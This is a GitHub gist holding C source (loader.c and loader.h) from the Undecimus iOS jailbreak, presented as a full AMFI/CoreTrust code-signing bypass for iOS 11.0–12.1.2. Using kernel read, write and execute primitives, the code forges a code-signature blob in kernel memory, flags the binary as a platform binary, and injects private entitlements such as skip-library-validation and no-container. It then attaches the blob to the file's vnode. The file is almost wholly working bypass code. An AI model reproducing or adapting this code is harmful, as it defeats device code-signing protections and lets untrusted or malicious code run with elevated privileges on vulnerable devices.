Skip to content

Instantly share code, notes, and snippets.

@pwn20wndstuff
Last active July 26, 2024 19:57
Show Gist options
  • Save pwn20wndstuff/a57b213a6f8c75cb3b9a8c6002ae5756 to your computer and use it in GitHub Desktop.
Save pwn20wndstuff/a57b213a6f8c75cb3b9a8c6002ae5756 to your computer and use it in GitHub Desktop.
Full AMFI/CoreTrust bypass for iOS 11.0-12.1.2 by @Jakeashacks with implementation by @Pwn20wnd
//
// loader.c
// Undecimus
//
// Created by Pwn20wnd on 3/16/19.
// Copyright © 2019 Pwn20wnd. All rights reserved.
// Copyright © 2019 Jakeashacks. All rights reserved.
//
#include <common.h>
#include <cs_blobs.h>
#include <ubc_headers.h>
#include <mach-o/loader.h>
#include <mach-o/fat.h>
#include <CommonCrypto/CommonDigest.h>
#include "loader.h"
#include "KernelExecution.h"
#include "KernelStructureOffsets.h"
#include "KernelMemory.h"
#include "KernelUtilities.h"
#if 1
#define LOADER_DEBUG 1
#else
#define LOADER_DEBUG 0
#endif
#if LOADER_DEBUG
#define LOADER_LOG(str, args...) LOG(str, ##args)
#else
#define LOADER_LOG(str, args...) LOG("")
#endif
extern uint64_t vnodeForPath(const char *path);
extern int _vnode_put(uint64_t vnode);
typedef struct {
const char *name;
uint64_t file_off;
int fd;
const void *addr;
size_t size;
} img_info_t;
static void *load_bytes(FILE *obj_file, off_t offset, uint32_t size) {
void *buf = calloc(1, size);
fseek(obj_file, offset, SEEK_SET);
fread(buf, size, 1, obj_file);
return buf;
}
static uint64_t get_code_signature_lc(FILE *file, int64_t *mach_off) {
size_t offset = 0;
struct load_command *cmd = NULL;
*mach_off = -1;
uint32_t *magic = load_bytes(file, offset, sizeof(uint32_t));
int ncmds = 0;
if (*magic != 0xFEEDFACF && *magic != 0xBEBAFECA) {
free(magic);
return 0;
}
if(*magic == 0xBEBAFECA) {
uint32_t arch_off = sizeof(struct fat_header);
struct fat_header *fat = (struct fat_header*)load_bytes(file, 0, sizeof(struct fat_header));
bool found = false;
int n = ntohl(fat->nfat_arch);
while (n-- > 0) {
struct fat_arch *arch = (struct fat_arch *)load_bytes(file, arch_off, sizeof(struct fat_arch));
if (ntohl(arch->cputype) == 0x100000c) {
offset = ntohl(arch->offset);
found = true;
free(fat);
free(arch);
break;
}
free(arch);
arch_off += sizeof(struct fat_arch);
}
if (!found) {
free(fat);
free(magic);
return 0;
}
}
free(magic);
*mach_off = offset;
struct mach_header_64 *mh64 = load_bytes(file, offset, sizeof(struct mach_header_64));
ncmds = mh64->ncmds;
free(mh64);
offset += sizeof(struct mach_header_64);
for (int i = 0; i < ncmds; i++) {
cmd = load_bytes(file, offset, sizeof(struct load_command));
if (cmd->cmd == LC_CODE_SIGNATURE) {
free(cmd);
return offset;
}
offset += cmd->cmdsize;
free(cmd);
}
return 0;
}
static uint32_t swap_uint32( uint32_t val ) {
val = ((val << 8) & 0xFF00FF00 ) | ((val >> 8) & 0xFF00FF );
return (val << 16) | (val >> 16);
}
static void get_sha256_inplace(const uint8_t* code_dir, uint8_t *out) {
if (code_dir == NULL) {
return;
}
uint32_t* code_dir_int = (uint32_t*)code_dir;
uint32_t realsize = 0;
for (int j = 0; j < 10; j++) {
if (swap_uint32(code_dir_int[j]) == 0xfade0c02) {
realsize = swap_uint32(code_dir_int[j+1]);
code_dir += 4*j;
}
}
CC_SHA256(code_dir, realsize, out);
}
static uint32_t read_magic(FILE* file, off_t offset) {
uint32_t magic;
fseek(file, offset, SEEK_SET);
fread(&magic, sizeof(uint32_t), 1, file);
return magic;
}
static uint8_t *get_code_directory(const char* name) {
FILE* fd = fopen(name, "r");
uint32_t magic;
fread(&magic, sizeof(magic), 1, fd);
fseek(fd, 0, SEEK_SET);
long off = 0, file_off = 0;
int ncmds = 0;
bool found = false;
if (magic == MH_MAGIC_64) {
struct mach_header_64 mh64;
fread(&mh64, sizeof(mh64), 1, fd);
off = sizeof(mh64);
ncmds = mh64.ncmds;
}
else if (magic == MH_MAGIC) {
fclose(fd);
return NULL;
}
else if (magic == 0xBEBAFECA) {
size_t header_size = sizeof(struct fat_header);
size_t arch_size = sizeof(struct fat_arch);
size_t arch_off = header_size;
struct fat_header *fat = (struct fat_header*)load_bytes(fd, 0, (uint32_t)header_size);
struct fat_arch *arch = (struct fat_arch *)load_bytes(fd, arch_off, (uint32_t)arch_size);
int n = swap_uint32(fat->nfat_arch);
while (n-- > 0) {
magic = read_magic(fd, swap_uint32(arch->offset));
if (magic == 0xFEEDFACF) {
found = true;
struct mach_header_64* mh64 = (struct mach_header_64*)load_bytes(fd, swap_uint32(arch->offset), sizeof(struct mach_header_64));
file_off = swap_uint32(arch->offset);
off = swap_uint32(arch->offset) + sizeof(struct mach_header_64);
ncmds = mh64->ncmds;
break;
}
arch_off += arch_size;
arch = load_bytes(fd, arch_off, (uint32_t)arch_size);
}
if (!found) {
fclose(fd);
return NULL;
}
}
else {
fclose(fd);
return NULL;
}
for (int i = 0; i < ncmds; i++) {
struct load_command cmd;
fseek(fd, off, SEEK_SET);
fread(&cmd, sizeof(struct load_command), 1, fd);
if (cmd.cmd == LC_CODE_SIGNATURE) {
uint32_t off_cs;
fread(&off_cs, sizeof(uint32_t), 1, fd);
uint32_t size_cs;
fread(&size_cs, sizeof(uint32_t), 1, fd);
uint8_t *cd = malloc(size_cs);
fseek(fd, off_cs + file_off, SEEK_SET);
fread(cd, size_cs, 1, fd);
fclose(fd);
return cd;
} else {
off += cmd.cmdsize;
}
}
fclose(fd);
return NULL;
}
static uint64_t ubc_cs_blob_allocate(vm_size_t size) {
uint64_t size_p = kmem_alloc(sizeof(vm_size_t));
if (!size_p) return 0;
kwrite(size_p, &size, sizeof(vm_size_t));
uint64_t alloced = kexecute(GETOFFSET(kalloc_canblock), size_p, 1, GETOFFSET(ubc_cs_blob_allocate_site), 0, 0, 0, 0);
kmem_free(size_p, sizeof(vm_size_t));
if (alloced) alloced = zm_fix_addr(alloced);
return alloced;
}
static int cs_validate_csblob(const uint8_t *addr, size_t length, CS_CodeDirectory **rcd, CS_GenericBlob **rentitlements) {
uint64_t rcdptr = kmem_alloc(sizeof(uint64_t));
uint64_t entptr = kmem_alloc(sizeof(uint64_t));
int ret = (int)kexecute(GETOFFSET(cs_validate_csblob), (uint64_t)addr, length, rcdptr, entptr, 0, 0, 0);
*rcd = (CS_CodeDirectory *)rk64(rcdptr);
*rentitlements = (CS_GenericBlob *)rk64(entptr);
kmem_free(rcdptr, sizeof(uint64_t));
kmem_free(entptr, sizeof(uint64_t));
return ret;
}
static const struct cs_hash *cs_find_md(uint8_t type) {
return (struct cs_hash *)rk64(GETOFFSET(cs_find_md) + ((type - 1) * 8));
}
static uint32_t off_OSDictionary_SetObjectWithCharP = sizeof(void*) * 0x1F;
// 1 on success, 0 on error
static int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val) {
size_t len = strlen(key) + 1;
uint64_t ks = kmem_alloc(len);
kwrite(ks, key, len);
uint64_t vtab = rk64(dict);
uint64_t f = rk64(vtab + off_OSDictionary_SetObjectWithCharP);
int rv = (int)kexecute(f, dict, ks, val, 0, 0, 0, 0);
kmem_free(ks, len);
return rv;
}
// load_code_signature manipulation
int loader_load(const char *filename) {
{
static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
LOADER_LOG("load_code_signature replacement by @Jakeashacks");
LOADER_LOG("loader by @Pwn20wnd");
});
}
LOADER_LOG("%s: Loading \"%s\"...", __FUNCTION__, filename);
int rv = 0;
FILE *file = NULL;
uint64_t vnode = 0;
uint64_t ubc_info = 0;
uint64_t cs_blob = 0;
int64_t mach_off = 0;
uint64_t lc_cmd = 0;
struct linkedit_data_command *lcp = NULL;
uint64_t addr = 0;
CS_GenericBlob *blob_buf = NULL;
struct cs_blob *blob = NULL;
CS_CodeDirectory *rcd = NULL;
CS_GenericBlob *rentitlements = NULL;
const unsigned char *md_base;
uint8_t hash[CS_HASH_MAX_SIZE];
int md_size = 0;
uint64_t cd = 0;
uint64_t entitlements = 0;
vm_address_t new_mem_kaddr = 0;
vm_size_t new_mem_size = 0;
CS_CodeDirectory *new_cd = NULL;
CS_GenericBlob const *new_entitlements = NULL;
vm_offset_t new_blob_addr = 0;
vm_size_t new_blob_size = 0;
vm_size_t new_cdsize = 0;
const CS_CodeDirectory *old_cd = NULL;
CS_SuperBlob *new_superblob = NULL;
vm_size_t len = 0;
CS_CodeDirectory *_cd = NULL;
CS_GenericBlob *_entitlements = NULL;
CS_GenericBlob *newBlob = NULL;
uint64_t ents = 0;
off_t blob_start_offset = 0;
off_t blob_end_offset = 0;
uint64_t kblob = 0;
uint8_t *code_directory = NULL;
size_t blob_size = 0;
size_t length = 0;
code_directory = get_code_directory(filename);
if (code_directory == NULL) {
rv = -1;
goto out;
}
file = fopen(filename, "rb");
if (file == NULL) {
rv = -2;
goto out;
}
vnode = vnodeForPath(filename);
if (vnode == 0) {
rv = -3;
goto out;
}
ubc_info = rk64(vnode + koffset(KSTRUCT_OFFSET_VNODE_V_UBCINFO));
if (ubc_info == 0) {
rv = -4;
goto out;
}
cs_blob = rk64(ubc_info + koffset(KSTRUCT_OFFSET_UBC_INFO_CSBLOBS));
if (cs_blob != 0) {
wk32(ubc_info + 44, rk32(GETOFFSET(cs_blob_generation_count)));
LOADER_LOG("%s: Already loaded \"%s\"", __FUNCTION__, filename);
rv = 0;
goto out;
}
lc_cmd = get_code_signature_lc(file, &mach_off);
if (lc_cmd == 0 || mach_off < 0) {
rv = -5;
goto out;
}
lcp = load_bytes(file, lc_cmd, sizeof(struct linkedit_data_command));
if (lcp == NULL) {
rv = -6;
goto out;
}
lcp->dataoff += mach_off;
blob_size = lcp->datasize;
addr = kmem_alloc(blob_size); //ubc_cs_blob_allocate(blob_size);
if (addr == 0) {
rv = -7;
goto out;
}
blob_buf = load_bytes(file, lcp->dataoff, lcp->datasize);
if (blob_buf == NULL) {
rv = -8;
goto out;
}
if (!wkbuffer(addr, (void *)blob_buf, lcp->datasize)) {
rv = -9;
goto out;
}
blob = malloc(sizeof(struct cs_blob));
if (blob == NULL) {
rv = -10;
goto out;
}
blob->csb_mem_size = lcp->datasize;
blob->csb_mem_offset = 0;
blob->csb_mem_kaddr = addr;
blob->csb_flags = 0;
blob->csb_signer_type = CS_SIGNER_TYPE_UNKNOWN;
blob->csb_platform_binary = 0;
blob->csb_platform_path = 0;
blob->csb_teamid = NULL;
blob->csb_entitlements_blob = NULL;
blob->csb_entitlements = NULL;
blob->csb_reconstituted = 0;
length = lcp->datasize;
if (cs_validate_csblob((const uint8_t *)addr, length, &rcd, &rentitlements) != 0) {
rv = -11;
goto out;
}
cd = (uint64_t)rcd;
rcd = malloc(sizeof(CS_CodeDirectory));
if (!rkbuffer(cd, (void *)rcd, sizeof(CS_CodeDirectory))) {
rv = -12;
goto out;
}
if (rentitlements != NULL) {
entitlements = (uint64_t)rentitlements;
rentitlements = malloc(sizeof(CS_GenericBlob));
if (rentitlements == NULL) {
rv = -13;
goto out;
}
if (!rkbuffer(entitlements, rentitlements, sizeof(CS_GenericBlob))) {
rv = -14;
goto out;
}
}
blob->csb_cd = (const CS_CodeDirectory *)cd;
blob->csb_entitlements_blob = (const CS_GenericBlob *)entitlements;
blob->csb_hashtype = cs_find_md(rcd->hashType);
if (blob->csb_hashtype == NULL || rk64((uint64_t)blob->csb_hashtype + offsetof(struct cs_hash, cs_digest_size)) > sizeof(hash)) {
rv = -15;
goto out;
}
blob->csb_hash_pageshift = rcd->pageSize;
blob->csb_hash_pagesize = (1U << rcd->pageSize);
blob->csb_hash_pagemask = blob->csb_hash_pagesize - 1;
blob->csb_hash_firstlevel_pagesize = 0;
blob->csb_flags = (ntohl(rcd->flags) & CS_ALLOWED_MACHO) | CS_VALID;
blob->csb_end_offset = (((vm_offset_t)ntohl(rcd->codeLimit) + blob->csb_hash_pagemask) & ~((vm_offset_t)blob->csb_hash_pagemask));
if((ntohl(rcd->version) >= CS_SUPPORTSSCATTER) && (ntohl(rcd->scatterOffset))) {
const SC_Scatter *scatter = (const SC_Scatter*)
((const char*)rcd + ntohl(rcd->scatterOffset));
blob->csb_start_offset = ((off_t)ntohl(scatter->base)) * blob->csb_hash_pagesize;
} else {
blob->csb_start_offset = 0;
}
md_base = (const unsigned char *)cd;
md_size = ntohl(rcd->length);
get_sha256_inplace(code_directory, hash);
memcpy(blob->csb_cdhash, hash, CS_CDHASH_LEN);
blob->csb_cpu_type = 0x0100000c;
blob->csb_base_offset = mach_off;
blob->csb_signer_type = 0;
blob->csb_flags = 0x24000005;
blob->csb_platform_binary = 1;
old_cd = blob->csb_cd;
new_cdsize = htonl(rk32((uint64_t)old_cd + offsetof(CS_CodeDirectory, length)));
new_blob_size = sizeof(CS_SuperBlob);
new_blob_size += sizeof(CS_BlobIndex);
new_blob_size += new_cdsize;
if (blob->csb_entitlements_blob) {
new_blob_size += sizeof(CS_BlobIndex);
new_blob_size += ntohl(rk32((uint64_t)blob->csb_entitlements_blob + offsetof(CS_GenericBlob, length)));
}
new_blob_addr = ubc_cs_blob_allocate(new_blob_size);
if (new_blob_addr == 0) {
rv = -16;
goto out;
}
new_superblob = (CS_SuperBlob *)new_blob_addr;
wk32((uint64_t)new_superblob + offsetof(CS_SuperBlob, magic), htonl(CSMAGIC_EMBEDDED_SIGNATURE));
wk32((uint64_t)new_superblob + offsetof(CS_SuperBlob, length), htonl((uint32_t)new_blob_size));
if (blob->csb_entitlements_blob != NULL) {
vm_size_t cd_offset = sizeof(CS_SuperBlob) + 2 * sizeof(CS_BlobIndex);
vm_size_t ent_offset = cd_offset + new_cdsize;
wk32((uint64_t)new_superblob + offsetof(CS_SuperBlob, count), htonl(2));
wk32((uint64_t)new_superblob + offsetof(CS_SuperBlob, index[0].type), htonl(CSSLOT_CODEDIRECTORY));
wk32((uint64_t)new_superblob + offsetof(CS_SuperBlob, index[0].offset), htonl((uint32_t)cd_offset));
wk32((uint64_t)new_superblob + offsetof(CS_SuperBlob, index[1].type), htonl(CSSLOT_ENTITLEMENTS));
wk32((uint64_t)new_superblob + offsetof(CS_SuperBlob, index[1].offset), htonl((uint32_t)ent_offset));
void *buf = malloc(ntohl(rk32((uint64_t)blob->csb_entitlements_blob + offsetof(CS_GenericBlob, length))));
if (buf == NULL) {
rv = -17;
goto out;
}
if (!rkbuffer((uint64_t)blob->csb_entitlements_blob, buf, ntohl(rk32((uint64_t)blob->csb_entitlements_blob + offsetof(CS_GenericBlob, length))))) {
rv = -18;
goto out;
}
if (!wkbuffer((uint64_t)(new_blob_addr + ent_offset), buf, ntohl(rk32((uint64_t)blob->csb_entitlements_blob + offsetof(CS_GenericBlob, length))))) {
rv = -19;
goto out;
}
free(buf);
buf = NULL;
new_cd = (CS_CodeDirectory *)(new_blob_addr + cd_offset);
} else {
new_cd = (CS_CodeDirectory *)new_blob_addr;
}
void *buf = malloc(new_cdsize);
if (buf == NULL) {
rv = -20;
goto out;
}
if (!rkbuffer((uint64_t)old_cd, buf, new_cdsize)) {
rv = -21;
goto out;
}
if (!wkbuffer((uint64_t)new_cd, buf, new_cdsize)) {
rv = -22;
goto out;
}
free(buf);
buf = NULL;
len = new_blob_size;
if (cs_validate_csblob((const uint8_t *)new_blob_addr, len, &_cd, &_entitlements) != 0) {
kexecute(GETOFFSET(kfree), new_blob_addr, new_blob_size, 0, 0, 0, 0, 0);
rv = -23;
goto out;
}
new_entitlements = _entitlements;
new_mem_size = new_blob_size;
new_mem_kaddr = new_blob_addr;
kmem_free(blob->csb_mem_kaddr, blob->csb_mem_size); //kexecute(GETOFFSET(kfree), blob->csb_mem_kaddr, blob->csb_mem_size, 0, 0, 0, 0, 0);
addr = 0;
blob->csb_mem_kaddr = new_mem_kaddr;
blob->csb_mem_size = new_mem_size;
blob->csb_cd = new_cd;
if (new_entitlements == 0) {
const char *newEntitlements = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
"<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">"
"<plist version=\"1.0\">"
"<dict>"
"<key>platform-application</key>"
"<true/>"
"<key>com.apple.private.security.no-container</key>"
"<true/>"
"<key>com.apple.private.skip-library-validation</key>"
"<true/>"
"</dict>"
"</plist>";
newBlob = malloc(sizeof(CS_GenericBlob) + strlen(newEntitlements) + 1);
if (newBlob == NULL) {
rv = -24;
goto out;
}
newBlob->magic = ntohl(CSMAGIC_EMBEDDED_ENTITLEMENTS);
newBlob->length = ntohl(strlen(newEntitlements) + 1);
memcpy(newBlob->data, newEntitlements, strlen(newEntitlements) + 1);
new_entitlements = (CS_GenericBlob *)ubc_cs_blob_allocate(sizeof(CS_GenericBlob) + strlen(newEntitlements) + 1);
if (new_entitlements == NULL) {
rv = -25;
goto out;
}
if (!wkbuffer((uint64_t)new_entitlements, newBlob, sizeof(CS_GenericBlob) + strlen(newEntitlements) + 1)) {
rv = -26;
goto out;
}
}
blob->csb_entitlements_blob = new_entitlements;
ents = kexecute(GETOFFSET(osunserializexml), (uint64_t)new_entitlements + offsetof(CS_GenericBlob, data), 0, 0, 0, 0, 0, 0);
if (ents == 0) {
rv = -27;
goto out;
}
ents = zm_fix_addr(ents);
blob->csb_entitlements = (void *)ents;
uint64_t OSBoolTrue = rk64(GETOFFSET(OSBoolean_True));
if (OSBoolTrue == 0) {
rv = -28;
goto out;
}
if (OSDictionary_SetItem(ents, "platform-application", OSBoolTrue) != 1) {
rv = -29;
goto out;
}
if (OSDictionary_SetItem(ents, "com.apple.private.security.no-container", OSBoolTrue) != 1) {
rv = -30;
goto out;
}
if (OSDictionary_SetItem(ents, "com.apple.private.skip-library-validation", OSBoolTrue) != 1) {
rv = -31;
goto out;
}
blob->csb_reconstituted = 1;
blob_start_offset = blob->csb_base_offset + blob->csb_start_offset;
blob_end_offset = blob->csb_base_offset + blob->csb_end_offset;
if (blob_start_offset >= blob_end_offset || blob_start_offset < 0 || blob_end_offset <= 0) {
rv = -32;
goto out;
}
uint64_t ui_control = rk64(ubc_info + 8);
if (ui_control == 0) {
rv = -33;
goto out;
}
uint64_t moc_object = rk64(ui_control + 8);
if (moc_object == 0) {
rv = -34;
goto out;
}
wk32(moc_object + 168, (rk32(moc_object + 168) & 0xFFFFFEFF) | (1 << 8));
wk32(ubc_info + 44, rk32(GETOFFSET(cs_blob_generation_count)));
blob->csb_next = 0;
kblob = ubc_cs_blob_allocate(sizeof(struct cs_blob));
if (kblob == 0) {
rv = -35;
goto out;
}
if (!wkbuffer(kblob, blob, sizeof(struct cs_blob))) {
rv = -36;
goto out;
}
wk64(ubc_info + koffset(KSTRUCT_OFFSET_UBC_INFO_CSBLOBS), kblob);
LOADER_LOG("%s: Done", __FUNCTION__);
LOADER_LOG("%s: Loaded \"%s\"", __FUNCTION__);
rv = 0;
out:
LOADER_LOG("%s: Cleaning up...", __FUNCTION__);
if (file != NULL) {
fclose(file);
file = NULL;
}
if (addr != 0) {
kmem_free(addr, blob_size); //kexecute(GETOFFSET(kfree), addr, blob_size, 0, 0, 0, 0, 0);
addr = 0;
}
if (vnode != 0) {
_vnode_put(vnode);
vnode = 0;
}
ubc_info = 0;
cs_blob = 0;
mach_off = 0;
lc_cmd = 0;
if (lcp != NULL) {
free(lcp);
lcp = NULL;
}
if (blob_buf != NULL) {
free(blob_buf);
blob_buf = NULL;
}
if (blob != NULL) {
free(blob);
blob = NULL;
}
if (rcd != NULL) {
free(rcd);
rcd = NULL;
}
if (rentitlements != NULL) {
free(rentitlements);
rentitlements = NULL;
}
md_base = NULL;
md_size = 0;
cd = 0;
new_mem_kaddr = 0;
new_mem_size = 0;
new_cd = NULL;
new_entitlements = NULL;
new_blob_addr = 0;
new_blob_size = 0;
new_cdsize = 0;
old_cd = NULL;
new_superblob = NULL;
_cd = NULL;
_entitlements = NULL;
if (newBlob != NULL) {
free(newBlob);
newBlob = NULL;
}
ents = 0;
blob_start_offset = 0;
blob_end_offset = 0;
if (code_directory != NULL) {
free(code_directory);
code_directory = NULL;
}
LOADER_LOG("%s: rv: %d", __FUNCTION__, rv);
if (rv == 0) {
LOADER_LOG("%s: Success", __FUNCTION__);
} else {
LOADER_LOG("%s: Failure", __FUNCTION__);
}
return rv;
}
#undef LOADER_DEBUG
#undef LOADER_LOG
//
// loader.h
// Undecimus
//
// Created by Pwn20wnd on 3/16/19.
// Copyright © 2019 Pwn20wnd. All rights reserved.
// Copyright © 2019 Jakeashacks. All rights reserved.
//
#ifndef loader_h
#define loader_h
#include <stdio.h>
int loader_load(const char *filename);
#endif /* loader_h */
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment